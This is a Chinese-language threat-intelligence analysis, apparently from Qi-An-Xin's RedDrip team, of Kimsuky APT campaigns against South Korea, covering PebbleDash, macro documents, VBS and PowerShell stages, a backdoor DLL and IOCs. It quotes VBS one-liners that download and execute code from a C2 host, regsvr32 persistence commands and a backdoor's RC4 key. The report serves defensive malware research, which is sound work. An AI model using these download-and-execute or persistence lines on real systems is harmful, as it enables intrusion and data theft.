背景
Kimsuky,别名Mystery Baby、Baby Coin、Smoke Screen、Black Banshe等,奇安信内部跟踪编号为APT-Q-2。Kimsuky最早由卡巴斯基于2013年公开披露并命名,攻击活动最早可追溯至2012年,是疑似具有东亚国家背景的APT组织。该组织主要攻击目标为韩国,涉及国防、教育、能源、政府、医疗以及智囊团等领域,以机密信息窃取为主。通常使用社会工程学、鱼叉邮件、水坑攻击等手段投递恶意软件,拥有功能完善的恶意代码武器库。Kimsuky至今一直处于活跃状态,从2018年开始频繁开展了多起针对韩美两国特定领域人员的攻击活动[1]。
近期,在美韩联合演习这一背景下,我们监测到大量来自Kimsuky组织的攻击,从攻击样本来看,使用pif、hwp、doc等文件做为诱饵进行初始攻击,后续载荷包括其常使用的AppleSeed、PebbleDash等木马。
概述
近日,奇安信红雨滴团队在日常高价值样本狩猎过程中,捕获到多例Kimsuky组织针对韩国地区的攻击样本。根据红雨滴研究人员跟踪分析,此次的攻击活动有如下特点:
- 使用PIF可执行文件格式伪装成PDF文件,后续载荷为PebbleDash木马;
- 部分样本诱饵被韩国DRM软件加密,疑似由Kimsuky组织在其他攻击活动中所窃取,用于实施定向攻击;
- 样本擅用加解密算法来躲避相关杀软的静态查杀;
与此同时,我们在安全社区上也及时做出了预警。
PIF诱饵
样本实际为PIF可执行程序,使用PDF图标进行伪装,其功能为Dropper程序,释放诱饵和加载后续载荷执行。其样本内的字符串均使用自定义的算法进行加密,执行时通过解密字符串从而获取API函数地址,其解密函数如下。
分析发现,该解密函数以及使用的Key与去年我们在《Kimsuky武器库更新:利用新冠疫情为诱饵针对韩国地区的攻击活动分析》[2]一文中披露的相同,使用类似base64的映射表来进行解密,其python版本的解密代码如下:
样本读取文件自身数据,异或解密后在C:\ProgramData\目录下写入诱饵文件和后续载荷。
随后获取函数ShellExecuteW地址,调用打开诱饵xlsx文档以迷惑受害者。
解密的xlsx文档包含文件头“SCDSA002”,该文件很有可能经韩国的DRM产品加密处理过,由此推测有可能是Kimsuky组织在其他攻击活动中窃取的文件,用来作为诱饵针对特定人群实施定向攻击。
随后解密出下一阶段Thumbs.db.pif的启动参数njXbxuRQyujZeUAGGYaH并启动执行。
值得一提的是,该攻击样本以及后续载荷中,均在样本中打印其调试信息。
PebbleDash
执行的Thumbs.db.pif载荷实际为PebbleDash木马,该木马是NukeSped变种木马之一,过去被认为是Lazarus组织所使用的恶意代码,但去年被发现与Kimsuky常用的AppleSeed木马一起用于攻击。美国CISA分析报告将其初代木马命名为PebbleDash[3],其相关信息如下:
- | - | - | - |
---|---|---|---|
文件名 | Thumbs.db.pif | ||
MD5 | f6628bd40f4cd6cc8405541c269ac901 | ||
文件大小 | 319488字节 | ||
启动参数 | njXbxuRQyujZeUAGGYaH |
样本启动后会校验参数个数,当未携带参数时直接退出程序,在单独执行该样本时,可有效躲避沙箱的动态行为检测。
当参数为njXbxuRQyujZeUAGGYaH时,拷贝副本至system32文件夹中,并命名为lsass.exe。
随后在注册表添加持久化,执行副本程序lsass.exe并传入参数iFfmHUtawXNNxTHEiAAN。
当启动参数为iFfmHUtawXNNxTHEiAAN时,首先隐藏错误显示框。然后判断参数个数,当大于等于3时,则会触发特定文件删除功能。写入大量空白数据,进行随机更名后删除文件。
随后样本使用0xB2作为密钥,异或解密出相关URL信息。
值得一提的是,样本使用GetLogicalDrives函数获取当前可用驱动器的数量,然后周期性地感知数量的变化。使用WTSEnumerateSessionsW函数监测目前被激活的会话数量,如果有更多的用户登录到感染系统,或者使用RDP进行原始访问,会监测到会话数量的增加,进而更改全局变量的值以执行命令。
样本使用HTTP协议与C2服务器通信,在请求C2时,使用特定字段来查询、发送和接收数据。
- | - |
---|---|
字段 | 含义 |
sep | 发送的数据类型 |
uid | 磁盘序列号 |
sid | 随机数据 |
data | 获取到的数据 |
发送数据后,从C2接收指令执行,其指令功能如下:
- | - |
---|---|
指令码 | 功能 |
3 | 修改当前目录 |
4 | 更改文件时间 |
5 | 结束特定进程 |
6 | 窃取执行的进程信息 |
7 | 删除文件 |
8 | 创建线程删除文件 |
9 | 创建进程 |
10 | 突破session 0隔离创建用户进程 |
11 | 使用regsvr32注册实例 |
12 | 执行下载的文件 |
13 | 上传文件 |
14 | 下载文件 |
15 | 以分钟为单位设定下一个CC通信时间 |
16 | 以Hex为单位设定下一个CC通信时间 |
17 | 删除开机注册表启动项 |
18 | 窃取系统相关信息 |
19 | 传送设定的数据 |
20 | 执行命令和获取结果 |
21 | 关闭错误提示重定向文件(宽字节) |
22 | 关闭错误提示重定向文件 |
23 | 设定数据 |
24 | 提权后远线程注入 |
宏文档样本
携带恶意宏的文档样本基本信息如下:
- | - |
---|---|
文件名 | 미국의 외교정책과 우리의 대응방향.doc(译为“美国外交政策和我们的回应”) |
MD5 | 4de19e2c39b1d193e171dc8d804005a4 |
文件类型 | Word文档 |
文件大小 | 54401字节 |
文件创建时间 | 2022-04-22 06:49:00 UTC |
文档打开后展示内容如下,根据内容可以看出报告来自韩国政府智囊团,这份报告很可能是Kimsuky在之前攻击活动中窃取的文件。
一旦启用诱饵文档中的宏,样本将会向C2服务器请求后续载荷,收集受害者机器的相关信息并上传,攻击流程如下所示。
宏 & 第一阶段VBS
在文档的宏代码中,函数Unpck通过字符替换恢复所需的字符串。
将VBS脚本保存为templates目录下的version.ini文件,然后调用wscript执行。
写入version.ini文件的VBS代码如下。通过GET请求从目标URL拉取后续,并直接执行响应内容中包含的代码。
On Error Resume Next:Set mx = CreateObject\(Microsoft\.XMLHTTP\):mx\.open GET, http://uppgrede\.scienceontheweb\.net/file/upload/list\.php?query=1, False:mx\.Send:Execute\(mx\.responseText\)
第二阶段VBS
拉取的后续载荷依然是VBS代码。代码首先在templates目录下创建一个以”OfficeAppManifest_v[minute]_[hour]_[day+month].xml”格式命名的文件。
该文件的内容也是VBS代码,功能是从C2服务器拉取后续并执行,请求的URL与version.ini一样,但请求的参数有所不同,为”query=6”。
On Error Resume Next:With CreateObject\("InternetExplorer\.Application"\):\.Navigate "http://uppgrede\.scienceontheweb\.net/file/upload/list\.php?query=6":Do while \.busy:WScript\.Sleep 100:Loop:bt=\.Document\.Body\.InnerText:\.Quit:End With:Execute\(bt\)
文件内容写入后,调用代码中的Reg函数注册计划任务,从而执行上述被释放的VBS脚本。计划任务以”Microsoft”的名义创建,在5天后开始执行,执行间隔为60分钟。
接着修改注册表中浏览器设置,从hxxp://uppgrede.scienceontheweb.net/file/upload/lib.php?idx=1获取后续并执行。
第三阶段Powershell
从Lib.php下载回来的是Powershell脚本,脚本的模块名称为GetInfo,有一个参数”ur”,表示通信URL。
脚本收集受害者主机的各类信息,并将数据以POST请求的方式回传到ur参数指定URL的show.php页面。
值得注意的是,代码使用如下的硬编码User-Agent发起HTTP请求,其中用错误的拼写”Chremo””Edgo”表示”Chrome”和”Edge”。国外友商在近期的一篇报告中提到Kimsuky通过这种方式验证请求是否来自受害者机器[4]<\sup>。
Mozilla/5\.0 \(Windows NT 10\.x; Win64; x64\) AppleWebKit/537\.36 \(KHTML, like Gecko\) Chremo/87\.0\.4280\.141 Safari/537\.36 Edgo/87\.0\.664\.75
双扩展名VBS样本
根据216[.]189.154.6这个IP,我们发现了一个使用双扩展名进行伪装的VBS样本,基本信息如下:
- | - |
---|---|
文件名 | SW보안점검표(개발자 사전점검용)_v2.0_beta.xlsm .vbs(译为“SW 安全检查表(用于开发人员预检查)”) |
MD5 | 12539ac37a81cc2e19338a67d237f833 |
文件类型 | VBScript文件 |
文件大小 | 6254878字节 |
该样本在运行后会释放带加密保护的诱饵文档,同时在受害者毫无察觉的情况下加载一个轻量级后门,执行流程如下所示。
VBS & 加载器DLL
VBS代码首先base64解码诱饵文档数据,将其释放后打开,再经过解码并按字节异或0x8d解密得到DLL数据,保存为文件”wg5Du.iWJ446”,通过如下命令启动DLL,最后执行自删除操作清除VBS文件。
regsvr32 /s /i:13579ASDFG C:\\ProgramData\\wg5Du\.iWJ446
在VBS代码最后实际上还有另一段PE文件数据,不过这段PE数据在代码中并未被使用。按照同样的方法解密这部分数据,发现该PE其实是由被释放的DLL数据复制9次拼接而来。
释放的诱饵文档不能直接打开,并且头部带有”SCDSA002”字样,很可能经过韩国的DRM产品加密,也意味着这可能是之前被窃取的文档。
VBS脚本释放的DLL文件基本信息如下。
- | - |
---|---|
文件名 | wg5Du.iWJ446 |
MD5 | a4d58f1bcce687d4ea60a3fe60120d5e |
编译时间 | 2022-08-23 09:24:13 UTC |
文件类型 | PE DLL 64-bit |
文件大小 | 457728字节 |
释放的DLL实际是个加载器,其入口点函数通过AES解密得到另一段DLL数据,然后直接内存加载并调用该DLL的入口点函数。
因为加载器DLL是通过regsvr32.exe启动的,所以它的导出函数DllRegisterServer也会被调用。该函数会调用被加载DLL偏移0xB2F0处的函数,而这个偏移值是被加载DLL的DllRegisterServer导出函数所在位置。
后门DLL
内存中加载的DLL为一个轻量级后门,导出函数DllRegisterServer执行持久化操作,入口点函数与C2服务器进行通信。
DllRegisterServer通过设置注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run键值实现持久化,值名称为”ESTUpdate”,对应的命令如下:
cmd\.exe /c start regsvr32\.exe /s <a id="_Hlk113386915"></a>c:\\\\programdata\\\\IconCache\.db
如果IconCache.db文件不存在,则调用GetModuleFileNameW获取后门DLL模块的文件路径,复制为C:\ProgramData\\IconCache.db。
后门DLL获取Windows API时,先计算函数名称的hash值,再通过该hash值在进程加载的DLL模块中查找API,避开了对GetProcAddress的调用。
后门DLL中使用的字符串一般通过异或解密恢复,异或的key为字符串第一字节或前两字节(ASCII字符串的key为1字节,宽字符串的key为2字节)。异或方式有两种:一种是直接异或key,另一种是异或key与序号之和。
入口点函数通过CreateThread调用sub_18000ACC0开启与C2服务器通信的线程。先恢复出通信的URL:hxxp://qwert.mine.bz/index.php,然后进入循环。
在循环中,线程首先向C2服务器发送一个POST请求作为上线通知,如果C2服务器有响应,且响应内容首字节为字符”1”,则继续进行后续操作,否则休眠3秒。
发送的上线通知POST请求如下。
接收到C2服务器的响应后,线程会创建一个CMD shell。
调用函数sub_18000AA70创建额外两个线程:一个线程向C2服务器请求指令并进行指令分发,另一个线程将CMD shell中的命令执行结果回传给C2服务器。
后门与C2服务器的通信数据经过RC4加密并使用base64编码,加解密的key为”asleri@#%dg9ser3$#$^@34sdfxl”。
整理后门指令如下。
- | - |
---|---|
指令 | 功能 |
die | 自删除。清除后门对应文件,退出进程 |
getinfo | 收集信息。包括用户名、计算机名、操作系统详细信息、杀软信息 |
where | 获取后门对应的文件路径 |
run | 创建进程运行指定指令 |
exit | 断开此次与C2服务器的连接 |
其他指令 | 由创建的CMD shell执行 |
样本关联
宏文档样本与ASEC在今年5月披露的Kimsuky样本攻击流程一致[5]。
双扩展名VBS样本通过regsvr32加载后门DLL的方式也是Kimsuky在启动AppleSeed时常用的一种手段[6]。
此外,我们在样本库中拓展线索时,也发现了额外的VBS脚本下载器。
Base64编码的powershell解码后如下:
以及hwp后缀的恶意文件,其释放的VBS脚本如下:
总结
Kimsuky组织是一个十分活跃的组织,长期针对韩国政府、新闻机构等目标发起攻击活动。其通常使用社会工程学、鱼叉邮件、水坑攻击等手段投递恶意软件,拥有功能完善的恶意代码武器库。此次捕获的攻击活动也可以看出该组织攻击手法灵活多变,武器库层出不穷,是攻击能力较强的APT团伙。
奇安信红雨滴团队在此提醒广大用户,切勿打开社交媒体分享的来历不明的链接,不点击执行未知来源的邮件附件,不运行夸张标题的未知文件,不安装非正规途径来源的APP。做到及时备份重要文件,更新安装补丁。
若需运行,安装来历不明的应用,可先通过奇安信威胁情报文件深度分析平台(https://sandbox.ti.qianxin.com/sandbox/page)进行判别。目前已支持包括Windows、安卓平台在内的多种格式文件深度分析。
目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、奇安信天狗漏洞攻击防护系统、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。
IOCs
MD5
77b7856144515bb3905df8b3fb210a2e
f6628bd40f4cd6cc8405541c269ac901
4de19e2c39b1d193e171dc8d804005a4
12539ac37a81cc2e19338a67d237f833
a4d58f1bcce687d4ea60a3fe60120d5e
19ef39e9936b7b46e88d55115dfa9679
6083a1af637d9dd2b2a16538a17e1f45
ca2917006eb29171c9e5f374e789f53a
C2
uppgrede[.]scienceontheweb.net
qwert[.]mine.bz
office.pushitlive[.]net
216[.]189.154.6
URL
hxxp://uppgrede.scienceontheweb.net/file/upload/list.php?query=
hxxp://uppgrede.scienceontheweb.net/file/upload/lib.php?idx=1
hxxp://uppgrede.scienceontheweb.net/file/upload/show.php
hxxp://qwert.mine.bz/index.php
hxxp://office.pushitlive.net/index.php
hxxp://yulsohnyonsei.atwewbpages.com/d.php
hxxp://yulsohnyonsei.atwebpages.com/1.hwp
hxxps://driver.googledocs.cloudns.nz/Yb/yb
参考链接
[1] https://ti.qianxin.com/apt/detail/5b45758d596a10001ffa2d3a?name=Kimsuky&type=map
[2] https://ti.qianxin.com/blog/articles/Kimsuky-Weapon-Update:-Analysis-of-Attack-Activity-Targeting-Korean-Region/
[3] https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-133c
[4] https://securelist.com/kimsukys-golddragon-cluster-and-its-c2-operations/107258/
[5] https://asec.ahnlab.com/en/34694/
[6] https://asec.ahnlab.com/ko/34883/